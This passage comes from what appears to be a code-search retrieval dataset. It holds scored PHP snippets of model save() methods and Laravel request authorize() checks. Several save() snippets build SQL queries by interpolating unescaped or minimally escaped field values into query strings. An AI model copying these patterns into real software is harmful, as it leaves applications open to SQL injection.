preconditions\n\t\t$this->checkId();\n\t\t\n\t\t// Build the query\n\t\t$query = new InsertUpdateQuery($this->db);\n\t\t$query->setTable('abstract_author');\n\t\tforeach ($this->data as $col => $val) {\n\t\t\t$query->setColumn($col, $val, self::$columnTypes[$col][0]);\n\t\t}\n\t\t\n\t\t// Run it\n\t\t$query->execute();\n\t}", "title": "" }, { "docid": "7d41955b19e32e0816c9d1d5a8fc8529", "score": "0.713708", "text": "public function actionSave() {\n $this->save();\n }", "title": "" }, { "docid": "f213548d180ee72a7377243c26b67a37", "score": "0.71314746", "text": "public function save() {\n\t\t$this->engine->save();\n\t}", "title": "" }, { "docid": "20534993ecae8ed72bcdc23079b70212", "score": "0.71274054", "text": "public function save() {\n\n // pega os dados\n $this->serial = $this->serialize();\n\n // chave primaria\n $pk = $this->primaryKey;\n\n // verifica se é um update\n if ( $this->$pk ) {\n\n // faz o update\n $this->db->where( $this->primaryKey, $this->$pk );\n if ( $this->db->update( $this->table, $this->serial ) ) {\n \n // registra o log\n $this->registerLog( 'alterou', $this->$pk );\n return true;\n } else return false;\n } else {\n \n // faz o insert\n if ( $this->db->insert( $this->table, $this->serial ) ) {\n\n // seta o id\n $this->$pk = $this->db->insert_id();\n\n // registra o log\n $this->registerLog( 'criou', $this->$pk );\n\n // volta true por padrao\n return true; \n } else return false; \n }\n }", "title": "" }, { "docid": "9a8e841da2147ab2730ea933104cd7f8", "score": "0.7089921", "text": "function saveData( $data ) {\n\t\t\n\t\tglobal $_gTables;\n\t\t\n\t\t$db = \\Db::getInstance();\n\t\tif( (int)$data['id'] > 0 )\n\t\t\treturn self::updateData($data);\n\n\t\tif (class_exists('Common')) {\n\t\t\t$data = \\Common::clean_input($data);\n\t\t}\n\t\t\n\t\t$db->AutoExecute($_gTables[PLATNOSCI_BANKI],$data,'INSERT');\n\n\t\treturn true;\n\t\t\n\t}", "title": "" }, { "docid": "a3fd5096f1cfe4a7a03899d173844427", "score": "0.7074967", "text": "function save()\n {\n //Handle apostrophes before executing MySQL statements\n $temp_title = str_replace([\"'\"], \"''\", $this->getTitle());\n $temp_description = str_replace([\"'\"], \"''\", $this->getDescription());\n\n $GLOBALS['DB']->exec(\"INSERT INTO units (title, description, course_id) VALUES\n ('{$temp_title}',\n '{$temp_description}',\n {$this->getCourseId()});\n \");\n\n $this->id = $GLOBALS['DB']->lastInsertId();\n }", "title": "" }, { "docid": "bcca9d487a248d62b8565f9eb8e5cc0c", "score": "0.7074623", "text": "public function save(){\n\t\t\t//save all UserDataItems\n\t\t\tforeach($this->data as &$udi) {\n\t\t\t\t$udi->save();\n\t\t\t}\n\t\t\tunset($udi);\n\t\t}", "title": "" }, { "docid": "717091cff509e953cdc1c549bd828814", "score": "0.7068665", "text": "public function save($db,$data){\n $this->db->insert($db, $data);\n }", "title": "" }, { "docid": "e8001ea20ce9618bd1b26ff2bc7e9212", "score": "0.70669574", "text": "public function store()\n {\n // put logic here to save the record to the database\n }", "title": "" }, { "docid": "3985aea0ffcd4c4b2a49c14ceeb19a68", "score": "0.70560884", "text": "function save($data, $where)\n {\n // Insert obat\n if ($where == NULL)\n {\n $this->db->set($data);\n $this->db->insert($this->table_name);\n\t\t\t$this->sendserver_m->singleevent($this->db->last_query());\n }\n\n // Update obat\n else\n {\n $this->db->where($where);\n $this->db->update($this->table_name, $data);\n\t\t\t$this->sendserver_m->singleevent($this->db->last_query());\n }\n\n }", "title": "" }, { "docid": "b635c6371a1884b4444680ff752b5bbc", "score": "0.70481354", "text": "public function save()\n\t{\n\t\tparent::save();\n }", "title": "" }, { "docid": "f0fe2e1b6ee17282a3fdb8cf17d7645d", "score": "0.7045243", "text": "public function save( $data ){\n\n\t\t//INSERT\n\t\tif(empty($data[$this->primaryKey])){\n\n\t\t\t$data = $this->callback('beforeSave', $data);\n\n\t\t\t$this->db->set($data);\n\t\t\t$this->db->insert($this->_table_name);\n\t\t}else{\n\t\t//UPDATE\n\t\t\t$data = $this->callback('beforeSave', $data);\n\n\t\t\t$id = intval($data[$this->primaryKey]);\n\t\t\t$this->db->set($data);\n\t\t\t$this->db->where($this->primaryKey, $id);\n\t\t\t$this->db->update($this->_table_name);\n\t\t}\n\n\t\t$this->callback('afterSave', $this->read());\n\n\t\treturn true;\n\t}", "title": "" }, { "docid": "d631f236555a49cf00e2aeeb51944c97", "score": "0.70437783", "text": "public function save() {\n\n }", "title": "" }, { "docid": "14b416cee653474b7647883f312eecea", "score": "0.704309", "text": "public function save()\n {\n $pkColumn = static::$primaryKeyName;\n //and the actual id\n $id = $this->getField($pkColumn);\n\n //all information without the primary key and empty values\n $objToArray = array_filter($this->fieldValues);\n unset($objToArray[$pkColumn]);\n\n //the fields Names to update\n $fieldNames = array_keys($objToArray);\n\n //the values to insert\n $values = array_values($objToArray);\n\n //and their types joined into string for prepare statement e.g. \"iisssiii\"\n //$fieldTypes =implode(\"\", array_values(static::$fields));\n $fieldTypes =$this->getTypesString($fieldNames);\n\n //var_dump($values);\n $success = self::updateDbEntity($pkColumn, $id, static::$tableName,\n $fieldNames, $fieldTypes, $values);\n\n return $success;\n\n }", "title": "" }, { "docid": "d85ee8f721b86f512431ede3f18ee795", "score": "0.7039977", "text": "public function save() {\n if (empty($this->changed)) return;\n $data = array_intersect_key($this->data,$this->changed);\n \n // use proper sql NULL for values set to php null\n foreach ($data as $key => $value) {\n if ($value === null) {\n $data[$key] = new PlainSql('NULL');\n }\n }\n \n if ($this->id) {\n $query = 'update `'.static::$table.'` set `'.implode('` = ?, `',array_keys($data)).'` = ? where `'.static::$pk.'` = '.$this->id.' limit 1';\n }\n else {\n $query = 'insert into `'.static::$table.'` (`'.implode('`,`',array_keys($data)).\"`) values (\".rtrim(str_repeat('?,',count($data)),',').\")\";\n }\n Db::execute($query,array_values($data));\n if ($this->id === null) {\n $this->id = Db::pdo()->lastInsertId();\n }\n $this->meta->{'set'.Builder::camelCase(static::$meta_field)}($this->id)->save();\n $this->hydrate(self::one(array(static::$pk => $this->id))->toArray());\n }", "title": "" }, { "docid": "371f1f183f409d71258afcd7128a8c8c", "score": "0.70395476", "text": "public function save(){\n\t\t$db=Model::getDb();\n\t\t//assue that it has atleast one attributre !!\n\t\t$head=\"insert into \";\n\t\t$tail=\"\";\n\t\tif($this->exists()){\n\t\t\t$head=\"update \";\n\t\t\t$tail=\" where id=\".$this->fields[\"id\"];\n\t\t}\n\t\t$body=\" set \";\n\t\tforeach($this->fields as $column=>$value){\n\t\t\tif($column==\"id\")\n\t\t\t\tcontinue;\n\t\t\tif (!isset($column)||gettype($value)==\"NULL\")\n\t\t\t\t$body.=$column.\"=NULL, \";\n\t\t\telse{\n\t\t\t\tif(gettype($value)==\"string\")\n\t\t\t\t\t$body.=$column.\"='$value', \";\n\t\t\t\telse\n\t\t\t\t\t$body.=$column.\"=$value, \";\n\t\t\t}\n\t\t\t//echo \"type: \".gettype($value);\n\t\t}\n\t\t$body=substr($body, 0,-2);\n\t\t$query=$head.$this->table.$body.$tail;\n\t\t//\techo \"query: \".$query;\n\t\tif(!$db->query($query)){\n\t\t\techo \"Query not executed<br>\";\n\t\t\treturn false;\n\t\t}\n\t\t$this->fields[\"id\"]=$db->insert_id;\n\t\treturn true;\n\t}", "title": "" }, { "docid": "ae85fc210bc27c9e4831825b53ab780f", "score": "0.7036476", "text": "public function save(){\n\t\t$bd=baseDatos::getInstance();\n\t\t$bd=new baseDatos(BD_USUARIO, BD_CONTRASENA, BD_NOMBRE_BD, BD_SERVIDOR);\n\t\t$bd->connect();\n\t\tif($this->id<>null){\n\t\t$columnas= array('idTour','nombreTour','descripcionTour','empresa','telefono','email','ubicacionTour');\n\t\t$valores = array($this->id,$this->nombre, $this->descripcion, $this->empresa,$this->telefono, $this->email, $this->ubicacionTour);\n\t\t$filtros=array('idTour'=>$this->id!= null);\n\t\tif (is_numeric($this->id) && $this->id > 0) {\n\t\t\t$bd->update(self::$tabla, $columnas, $valores, $filtros);\n\t\t} else {\n\t\t\t$bd->insert(self::$tabla, $columnas, $valores);\n\t\t}\n\t\t\n\t\t}else{\n\t\t\t$columnas= array('nombreTour','descripcionTour','empresa','telefono','email','ubicacionTour');\n\t\t\t$valores = array($this->nombre, $this->descripcion, $this->empresa,$this->telefono, $this->email, $this->ubicacionTour);\n\t\t\t$filtros=array('idTour'=>$this->id!= null);\n\t\t\tif (is_numeric($this->id) && $this->id > 0) {\n\t\t\t\t$bd->update(self::$tabla, $columnas, $valores, $filtros);\n\t\t\t} else {\n\t\t\t\t$bd->insert(self::$tabla, $columnas, $valores);\n\t\t\t}\n\t\t\t\n\t\t}$bd->disconnect();\n\t\t\n\t}", "title": "" }, { "docid": "5659d8f197257bb66ee0c63758e9205f", "score": "0.702793", "text": "public function save()\n {\n $this->getEntityManager()->flush();\n }", "title": "" }, { "docid": "7f2ca263dd384973db4a53d28433a13d", "score": "0.702281", "text": "function save()\n {\n }", "title": "" }, { "docid": "f4a0bada6ca080ed5cb970196e0f9db5", "score": "0.7019137", "text": "function save()\n {\n foreach($this->ds as $k => $v) if($v == null) $this->ds[$k] = '';\n if(trim($this->ds['user']) != '' && md5(json_encode($this->ds)) != $this->checksum) \n {\n DB_UpdateDataset('entities', $this->ds); \n h2_audit_log('entity/update', array($this->checksum, md5(json_encode($this->ds)), $this->ds, $this->old), $this->ds['_key'].'/'.$this->ds['url']);\n }\n }", "title": "" }, { "docid": "2d9a7ec11becaa67124b0916290b790e", "score": "0.7011393", "text": "public function SaveAll()\n\t{\n\t\tif( $this->id != null || $this->id != \"\" )\n\t\t{\n\t\t\t$this->Update( \"sessionid=$this->sessionid,surveyid=$this->surveyid,questionid=$this->questionid,answerid=$this->answerid,rateid=$this->rateid,answertext='$this->answertext',comment='$this->comment'\" );\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$this->Insert( \"sessionid,surveyid,questionid,answerid,rateid,answertext,comment\", \"$this->sessionid,$this->surveyid,$this->questionid,$this->answerid,$this->rateid,'$this->answertext','$this->comment'\" );\t\n\t\t}\n\t}", "title": "" }, { "docid": "7b8c44e305bc79a2c1726b5be696f8d8", "score": "0.69752264", "text": "public function save($data) \n\t{\n\t\t$this->db->insert($this->table,$data);\n\t\treturn true;\n\t}", "title": "" }, { "docid": "22979c23682f3758db44d00c2e57971f", "score": "0.69543344", "text": "public function save()\n {\n $aData=array();\n if(isset($this->aDataSet[\"date_created\"]))\n {\n $aData[\"date_created\"]=$this->getDate_created();\n }\n\n if(isset($this->aDataSet[\"date_amended\"]))\n {\n $aData[\"date_amended\"]=$this->getDate_amended();\n }\n\n if(isset($this->aDataSet[\"date_deleted\"]))\n {\n $aData[\"date_deleted\"]=$this->getDate_deleted();\n }\n\n if(isset($this->aDataSet[\"code\"]))\n {\n $aData[\"code\"]=$this->getCode();\n }\n\n if(isset($this->aDataSet[\"code_departement\"]))\n {\n $aData[\"code_departement\"]=$this->getCode_departement();\n }\n\n if(isset($this->aDataSet[\"number\"]))\n {\n $aData[\"number\"]=$this->getNumber();\n }\n\n if($this->getId()>0)\n {\n DbLink::getInstance($this->_sDbInstance)->update(\"circonscription\",$aData,' id=\"'.$this->getId().'\" ');\n }\n else\n {\n $this->setId(DbLink::getInstance($this->_sDbInstance)->insert(\"circonscription\",$aData));\n }\n $this->aDataSet=array();\n }", "title": "" }, { "docid": "71d04fe5a61748c079bb9b9522695add", "score": "0.6945378", "text": "public function save()\n {\n user_save($this->object);\n }", "title": "" }, { "docid": "cf268ab1618cde7916f4c0df7cc36879", "score": "0.6942058", "text": "function save()\n {\n }", "title": "" } ]
5a455f1ccbcb8a8372a5fec33c0498db
Determine whether the user can view the Contract.
[ { "docid": "2b1be8a8ba706d5c77a6752f83823330", "score": "0.7583292", "text": "public function view(User $user, Contract $contract = null)\n {\n return $user->hasAccess(['contract.view']);\n }", "title": "" } ]
[ { "docid": "ac73131da96c05255ca79acbff3d51b6", "score": "0.74943227", "text": "public function authorize()\n {\n\t if(Auth::check() && Auth::user()->is_contractor){\n\t\t $order = $this->route('order');\n\t\t if($order) return $order->is_editing;\n\t }\n\t return false;\n }", "title": "" }, { "docid": "0a79829860eff7b5323ad1a16234bc7d", "score": "0.71522635", "text": "protected function authorizeOwner()\n {\n // Get resource\n $resource = $this->findResource();\n\n // Needs to be an existing resource\n if ($resource === null) {\n return false;\n }\n\n // Current user is the owner of the viewing\n return $this->user()->id == $resource->user_id;\n }", "title": "" }, { "docid": "6bfd1731ff920472c83db5e90bee1819", "score": "0.7101839", "text": "public function authorize()\n {\n return $this->user()->can('view-permission');\n }", "title": "" }, { "docid": "8f5796b47b92d878d279cc7ad0c1b777", "score": "0.7088543", "text": "public function authorize()\n {\n return $this->cashFlow->user_id === auth()->id();\n }", "title": "" }, { "docid": "6ff55692d039529202341f7b91adf7d2", "score": "0.7049849", "text": "public function canView(): bool;", "title": "" }, { "docid": "9848174a7f01e602f5b2cca10182994a", "score": "0.7045461", "text": "public function authorize()\n {\n return ($this->ownableUser())? true: false;\n }", "title": "" }, { "docid": "48799ffd1245461211517c7c17b5ad6c", "score": "0.7019426", "text": "public function authorize()\n {\n return $this->user()->can('view-reports');\n }", "title": "" }, { "docid": "e6c87cdc5c1e28b7324a2ba1a350bae7", "score": "0.7011946", "text": "public function authorize() {\n $task = $this->route('task');\n return $task->canEdit(Auth::user());\n }", "title": "" }, { "docid": "90c8feb1e9834475ce51019690bdb502", "score": "0.6996166", "text": "public function authorize() {\n\t\treturn $this->user()->can('order', BandMemberExportColumn::class);\n\t}", "title": "" }, { "docid": "b78960d42c8d923d1a2aaa61725af1e7", "score": "0.69955695", "text": "public function authorize()\n {\n $action = $this->route()->getAction();\n\n $is_edit = Auth::user()->can($action['as'], 'edit');\n $own_edit = Auth::user()->can($action['as'], 'own_edit');\n\n if ($is_edit == 1 || (!empty($own_edit) && ($this->user->created_by == Auth::user()->id))) {\n return true;\n } else {\n abort(403);\n }\n }", "title": "" }, { "docid": "68c0fc907031908d8490d4bc4fcf9763", "score": "0.6989918", "text": "function userIsAllowedToView() {\n\t\t$user = $this->context->user;\n\n\t\tif (!$user->isLoggedIn())\n\t\t\treturn false;\n\t\tif ($user->identity->isInRole('Project manager'))\n\t\t\treturn true;\n\t\tif (!$user->identity->isInRole('Ticket user'))\n\t\t\treturn false;\n\t\tif ($user->getId() == $this->data->assignedTo)\n\t\t\treturn true;\n\n\t\t$db = $this->context->connection;\n\t\t$ticketTable = Ticket::getMetadata()->getTableName();\n\t\treturn $db->query(\"SELECT 1 FROM [$ticketTable] WHERE [revision] > 0 AND [projectId] = %i AND ([author] = %i OR [assignedTo] = %i) LIMIT 1\", $this->data->id, $user->getId(), $user->getId())->fetch() !== false;\n\t}", "title": "" }, { "docid": "f4095d67de1b50bdbc6c577880ab6522", "score": "0.6985725", "text": "public function authorize()\n {\n $accessor = $this->user();\n\n return $accessor->isAdmin() || $accessor->isCommittee() || \n ($accessor->isEntrant() && $accessor->entry_id == $this->input('entry', null));\n }", "title": "" }, { "docid": "7014a56a220547c7b4bb9e347916bfb5", "score": "0.69597214", "text": "public function canViewRc()\n\t{\n\t\tif(!ModuleManager::isModuleInstalled('crm'))\n\t\t{\n\t\t\treturn false;\n\t\t}\n\n\t\treturn AccessController::can($this->user->getId(), ActionDictionary::ACTION_RC_VIEW);\n\t}", "title": "" }, { "docid": "fc1534b65f11d433ae27cc18ee1dc339", "score": "0.6954971", "text": "public function authorize()\n {\n return $this->user()->can('manage-versions');\n }", "title": "" }, { "docid": "eff18e586b4a1ee0b17e57e2481f185e", "score": "0.69481665", "text": "public function authorize()\n {\n if ($this->getSubtitle()->isEditable()\n || $this->getSubtitle()->getRelease()->isPublic()\n ) {\n return true;\n }\n return false;\n }", "title": "" }, { "docid": "f1414a43175fce41de630244c0bde29c", "score": "0.69391876", "text": "function canView()\n\t{\n\t\t$params =& $this->getParams();\n\t\tif (!is_object($this->_access) || !array_key_exists('view', $this->_access)) {\n\t\t\t$this->_access->view = FabrikWorker::getACL($params->get('access'), 'view');\n\t\t}\n\t\treturn $this->_access->view;\n\t}", "title": "" }, { "docid": "ff8257362abf926bd0668a8e742b32df", "score": "0.69387406", "text": "public function authorize()\n {\n $metadata_id =$this->route('metadata');\n $metadata = Metadata::find($metadata_id);\n\n if (auth()->user()->isAdmin() || auth()->user()->can('user-edit') || $metadata->id == auth()->user()->id) {\n return true;\n }\n\n return false;\n }", "title": "" }, { "docid": "7d786a22cd9cecad293849f71531ea30", "score": "0.6938184", "text": "public function authorize()\n {\n return $this->user()->isBusiness;\n }", "title": "" }, { "docid": "39b253a44ced92a3cc4ef7d6d3b3d357", "score": "0.6937347", "text": "public function authorize()\n {\n $id = (int) $this->route('livro');\n if($id == 0) {\n return false;\n }\n\n $livro = $this->repository->find($id);\n\n return $livro->author_id == \\Auth::user()->id;\n }", "title": "" }, { "docid": "63b722e3507fccc9ed6815168a337646", "score": "0.69177216", "text": "public function authorize()\n {\n return $this->can('edit-resident')\n || (!empty($this->resident_id) && $this->user()->resident && $this->resident_id == $this->user()->resident->id);\n }", "title": "" }, { "docid": "05590fc9a3eaa9395069921dc992b629", "score": "0.69162816", "text": "public function authorize()\n {\n //Todo check is admin\n return $this->user() != null;\n }", "title": "" }, { "docid": "3d95a428c1cdd0297797015f69cd4f5a", "score": "0.6915927", "text": "public function authorize()\n {\n if ($this->user()->can('user-edit')) {\n return true;\n } elseif ($this->user()->can('user-self-edit')) {\n return $this->user()->id === User::find($this->route('user'))->id;\n } else return false;\n }", "title": "" }, { "docid": "4d1fd98014e9c970c62baabec20f47dc", "score": "0.6913139", "text": "public function authorize()\n {\n if ($this->path() == 'chemical')\n {\n return true;\n }\n else\n {\n return false;\n }\n }", "title": "" }, { "docid": "d4dd04ebc189b902696c3d25baf8b333", "score": "0.69083405", "text": "public function authorize()\n {\n // Only Admins and Lecturers can add ScheduleDraft data.\n if (\\Auth::user()->userable_type == 'Admin') {\n return true;\n } else {\n return false;\n }\n }", "title": "" }, { "docid": "61b6850924368e14814b635e85110c7f", "score": "0.6906526", "text": "public function authorize()\n {\n return $this->user() != null;\n }", "title": "" }, { "docid": "61b6850924368e14814b635e85110c7f", "score": "0.6906526", "text": "public function authorize()\n {\n return $this->user() != null;\n }", "title": "" }, { "docid": "72914acb0198bc54c343122b30392285", "score": "0.690483", "text": "public function authorize()\n {\n return $this->user()->can(\n 'update',\n $this->route('professional') ? $this->route('professional') : $this->user()\n );\n }", "title": "" }, { "docid": "08de3663a9e40b53c96d19f8082bab86", "score": "0.688735", "text": "public function authorize()\n {\n $action = $this->route()->getAction();\n\n $is_edit = Auth::guard('admin')->user()->can($action['as'], 'edit');\n $own_edit = Auth::guard('admin')->user()->can($action['as'], 'own_edit');\n\n if ($is_edit == 1 || (!empty($own_edit) && ($this->beauty_service->created_by == Auth::guard('admin')->user()->id))) {\n return true;\n } else {\n abort(403);\n }\n }", "title": "" }, { "docid": "27b3c8896bd44db7fdfa85b524a85564", "score": "0.6887", "text": "public function authorize()\n {\n // Authorize if user is not the buyer and the transaction is open\n return request()->transaction->buyer->id != request()->user()->id && request()->transaction->isOpen;\n }", "title": "" }, { "docid": "45a0d0699e19097acb2ebf68725cf777", "score": "0.6882441", "text": "public function authorize()\n {\n if ($this->route('import_mshp_charge_code_manual')) { // If ID we must be changing an existing record\n return Auth::user()->can('import_mshp_charge_code_manual update');\n } else { // If not we must be adding one\n return Auth::user()->can('import_mshp_charge_code_manual add');\n }\n\n }", "title": "" }, { "docid": "1fd99bcc21377eb562b460e136564843", "score": "0.68799275", "text": "public function viewable()\n {\n if ($this->is_mine) {\n return true;\n }\n\n if ($this->privacy == 'private') {\n return false;\n }\n\n if ($this->required_subscription) {\n if (auth()->guest() || ! auth()->user()->subscribedTo($this->user)) {\n return false;\n }\n\n if (auth()->user()->subscribedTo($this->user)) {\n return true;\n }\n }\n\n if ($this->token_price) {\n return $this->purchased();\n }\n\n return false;\n }", "title": "" }, { "docid": "eacd0e1de83cc01809ff93dd87d660f6", "score": "0.685343", "text": "public function authorize()\n {\n return ($this->colloquium->isOwner(Auth::user())) ? true : abort(403);\n }", "title": "" }, { "docid": "75b00f9deedf81dafdb7dceb862223f8", "score": "0.684152", "text": "public function authorize()\n {\n return $this->user()->isEditor();\n }", "title": "" }, { "docid": "dcc1c08e311db5f8509dfb1743412ce9", "score": "0.68411684", "text": "public function authorize()\n {\n // Редактировать комментарий может только его владелец\n return $this->comment->canBeEditedByOwner();\n }", "title": "" }, { "docid": "a53452918e3d185b0fc26ad4f1ea80e1", "score": "0.68391544", "text": "public function authorize()\n {\n return $this->user->can('proposal:apply');\n }", "title": "" }, { "docid": "a50376511126c95ae08842a528613010", "score": "0.6839151", "text": "public function authorize()\n {\n //Get the 'mark' id\n switch ((int) request()->segment(6)) {\n case 0:\n return access()->allow('deactivate-customers');\n break;\n\n case 1:\n return access()->allow('reactivate-customers');\n break;\n }\n\n return false;\n }", "title": "" }, { "docid": "0efb923d8d9d17cf2a09811c013f165f", "score": "0.683905", "text": "public function view(User $user)\n {\n //\n $check =0;\n\n $current_user = User::with('privileges')->find(Auth::id());\n foreach ($current_user['privileges'] as $policies)\n {\n if($policies->name =='View Contracts')\n {\n $check=1;\n }\n }\n return $check;\n }", "title": "" }, { "docid": "b2a288214cf6a162d2c1d34cbd64df21", "score": "0.68376446", "text": "public function authorize()\n {\n //TODO ROLE RELATED is need create delete-comment like other\n if ($this->can('edit-comment')) {\n return true;\n }\n return Comment::where('id', $this->route('id'))\n ->where('user_id', \\Auth::id())->exists();\n }", "title": "" }, { "docid": "253207c500333409209d27c34b250540", "score": "0.68305904", "text": "public function authorize()\n {\n return ($this->user()->id == $this->route('battle')->user_id);\n }", "title": "" }, { "docid": "98b56e558c40cb38d5feabd2789f3719", "score": "0.68152875", "text": "function canViewItem() {\n\n if (!Session::haveAccessToEntity($this->getEntityID(), $this->isRecursive())) {\n return false;\n }\n return (Session::haveRight(self::$rightname, self::READALL)\n || (Session::haveRight(self::$rightname, self::READMY)\n && ($this->isUser(CommonITILActor::REQUESTER, Session::getLoginUserID())\n || $this->isUser(CommonITILActor::OBSERVER, Session::getLoginUserID())\n || (isset($_SESSION[\"glpigroups\"])\n && ($this->haveAGroup(CommonITILActor::REQUESTER, $_SESSION[\"glpigroups\"])\n || $this->haveAGroup(CommonITILActor::OBSERVER,\n $_SESSION[\"glpigroups\"])))\n || ($this->isUser(CommonITILActor::ASSIGN, Session::getLoginUserID())\n || (isset($_SESSION[\"glpigroups\"])\n && $this->haveAGroup(CommonITILActor::ASSIGN,\n $_SESSION[\"glpigroups\"]))))));\n }", "title": "" }, { "docid": "700b764675c99352e268a03f38ec7869", "score": "0.6811943", "text": "public function canViewAbuses()\n\t{\n\t\treturn AccessController::can($this->user->getId(), ActionDictionary::ACTION_MAILING_VIEW);\n\t}", "title": "" }, { "docid": "898712fbcecfc0d2dbede07c285ed664", "score": "0.6806359", "text": "public function authorize()\n {\n $comment = $this->route('comment');\n\n return $comment->user_id == auth()->id();\n }", "title": "" }, { "docid": "5d791e06e9767259cc4502dbe17ddc05", "score": "0.6797837", "text": "public function authorize()\n {\n if ($this->path() == 'entry|edit')\n {\n return true;\n } else {\n return true;\n }\n \n }", "title": "" }, { "docid": "3e1ade2c5f2b1e1427790e8d1aea68a6", "score": "0.6789958", "text": "public function authorize()\n {\n\t\tif(Auth::guest()) return false;\n\t\t$comment_id = $this->route('comment');\n\t\tif($user = Auth::user()) {\n\t\t\t$comment = Comment::find($comment_id):\n\t\t\tif($comment->user_id == $user->id) return true;\n\t\t\treturn false;\n\t\t}\n \n\t\treturn false;\n }", "title": "" }, { "docid": "c83756358f97c1211d84ddf098063461", "score": "0.6769275", "text": "public function authorize()\n {\n\t\t$listing = Listing::find($this->id);\n\t\t\n return ($listing->user_id == Auth::user()->id || Auth::user()->ability('admin, client', 'edit-other-listings'));\n }", "title": "" }, { "docid": "31a0cede2a2d74408fbde15f3122dac5", "score": "0.6769009", "text": "public function authorize()\n {\n $user = Auth::user();\n\n $accommodationObject = AccommodationObject::find($this->all()['id']);\n\n if((!$user->can('delete', $accommodationObject)) || (!$user->can('delete-accommodation-object'))) {\n return false;\n }\n\n return true;\n }", "title": "" }, { "docid": "d08303d5f206f878b1991ef627a25fbc", "score": "0.6768605", "text": "public function canView()\n\t{\n\t\t$item = $this->getItem();\n\n\t\tif (!$item)\n\t\t{\n\t\t\treturn false;\n\t\t}\n\n\t\treturn ((int) $item->state === self::STATE_ENABLED || $this->isOwner());\n\t}", "title": "" }, { "docid": "66584ba02668a1955342045964b8469f", "score": "0.6766266", "text": "public function authorize()\n {\n $userRole = resolve('App\\UserRole', [Auth::User()]);\n\n //\n // Authoried for all projects\n //\n if ($userRole->isA('clientadmin')) {\n return true;\n }\n\n $uniq_id = $this->route('uniq_id');\n $project = App\\Project::where('uniq_id', $uniq_id)->first();\n\n if ($userRole->isA('admin')) {\n //\n // If this project is one their company is added to\n //\n $clientProject = App\\ClientProject::where('project_id', $project->id)\n ->where('client_id', Auth::user()->client_id)->first();\n\n if ($clientProject === null) {\n return false;\n } else {\n return true;\n }\n }\n\n //\n // Checks if they are staffed on this project (superuser, user)\n //\n $projectUser = App\\ProjectUser::where('project_id', $project->id)\n ->where('user_id', Auth::user()->id)->first();\n\n $this->errorMsg[] = \"Not authorized to view endpoint, not on project\";\n\n return isset($projectUser->id);\n }", "title": "" }, { "docid": "5cc1d780325e2e413018acc66826d31b", "score": "0.6762045", "text": "public function canView()\n {\n $isModerator = $this->getView()->plugin('user');\n if ($isModerator->isModerator() && $this->getRegistry()->getStatus() === RegistryEntity::REGISTRY_STATUS_PENDING) {\n return true;\n } elseif ($this->getRegistry()->getUser() === $this->getIdentity() && $this->getRegistry()->getStatus() !== RegistryEntity::REGISTRY_STATUS_DRAFT) {\n return true;\n }\n\n return false;\n }", "title": "" }, { "docid": "9d8ff9689c261af41b3dfb991ec7b49e", "score": "0.6749654", "text": "public function authorize()\n {\n return $this->user()->can('update', $this->route('client'));\n }", "title": "" }, { "docid": "ca32f713c379fc0a7b4a09b4800cb61f", "score": "0.6733292", "text": "public function authorize()\n {\n return auth()->check() && $this->route('user_id') == auth()->user()->id;\n }", "title": "" }, { "docid": "f09240eb597332f3cb9dae044014c527", "score": "0.6729819", "text": "protected function isAuthorizedToViewPage() {\n return PageControlFunctionsAndConsts::check_role(PageControlFunctionsAndConsts::SUPERVISING_ROLE);\n }", "title": "" }, { "docid": "c83975f213bfce526e079a1f2d254850", "score": "0.67288375", "text": "public function authorize(): bool\n {\n return $this->user()->can('user.read', $this->route()->parameter('server'));\n }", "title": "" }, { "docid": "f25f6e02a3368b29327adf7c8b177885", "score": "0.6719359", "text": "public function authorize()\n {\n return $this->authorizable() && $this->recipient->user_id === $this->user()->id;\n }", "title": "" }, { "docid": "d6d1211a3aa6c3cfb70419246f369e2a", "score": "0.67191267", "text": "public function authorize()\n {\n return is_client_or_staff();\n }", "title": "" }, { "docid": "a400c4ad3b40a246ede87970badd78de", "score": "0.6693659", "text": "public function authorize()\n {\n $user = User::find($this->route('user'));\n if (isset($contact)) {\n if (Auth::id() !== $user->user_id) {\n return false;\n }\n }\n return true;\n }", "title": "" }, { "docid": "004586735638178b04af9f6e8db1d594", "score": "0.66857773", "text": "public function canViewClientList()\n\t{\n\t\treturn AccessController::can($this->user->getId(), ActionDictionary::ACTION_SEGMENT_CLIENT_VIEW);\n\t}", "title": "" }, { "docid": "c4f66091f7a405c0f3051bca701aed7e", "score": "0.6679318", "text": "public function authorize()\n {\n $routine = Routine::find($this->route('routineId'));\n return $routine && $this->user()->can('update', $routine);\n }", "title": "" }, { "docid": "cd4237569d914901d9cfbca1070b70b1", "score": "0.6675265", "text": "public function authorize()\n {\n $file = File::find($this->route('file')['id']);\n $lang = Language::find($this->route('lang')['id']);\n\n return $file && $lang && $this->user()->can('translate-file', [$file, $lang]);\n }", "title": "" }, { "docid": "5de7e533dd92526defeffa6a387298a2", "score": "0.6668823", "text": "public function authorize()\n {\n $user = $this->user();\n\n $entry = strpos($this->url(), 'entries/') !== false ?\n $this->route('entry')->id :\n $this->input('entry', null);\n\n return $user->isAdmin() || $user->hasKey('get-attempts') || \n ($user->isEntrant() && $user->entry->id == $entry);\n }", "title": "" }, { "docid": "843741062e9eb14537e6b8415562940a", "score": "0.6666727", "text": "public function canShow()\n {\n return $this->permission('show');\n }", "title": "" }, { "docid": "464ea1cfeec92e8084c37f050b3dfd3a", "score": "0.666552", "text": "public function authorize()\n {\n return $this->can('edit-resident'); // @TODO correct permission\n }", "title": "" }, { "docid": "464ea1cfeec92e8084c37f050b3dfd3a", "score": "0.666552", "text": "public function authorize()\n {\n return $this->can('edit-resident'); // @TODO correct permission\n }", "title": "" }, { "docid": "ea9d6c9eb6b2c97b8cb89f53373ac199", "score": "0.6660365", "text": "public function isViewAllowed() {\n\t\treturn $this->mSettingInfo->config_is_allowed();\n\t}", "title": "" }, { "docid": "b22054651d228b40f72064037f7c3745", "score": "0.6658992", "text": "private function canDisplay()\n {\n //Checks roles allowed\n $roles = array(\n 'ROLE_COACH',\n 'ROLE_ASSISTANT',\n 'ROLE_MANAGER',\n 'ROLE_ADMIN',\n );\n\n foreach ($roles as $role) {\n if ($this->security->isGranted($role)) {\n return true;\n }\n }\n\n return false;\n }", "title": "" }, { "docid": "f0da5851f4498b179907da7fcbf07bec", "score": "0.6658962", "text": "public function authorize()\n {\n return auth()\n ->user()\n ->can('address', $this->route('company'));\n }", "title": "" }, { "docid": "63cbb6a2502fad94bed09b027da5afd9", "score": "0.66589063", "text": "public function authorize()\n {\n //Check permittion to create a user with role respondent.\n if (\\Gate::denies('create', 'user-respondent')) {\n return false;\n }\n\n 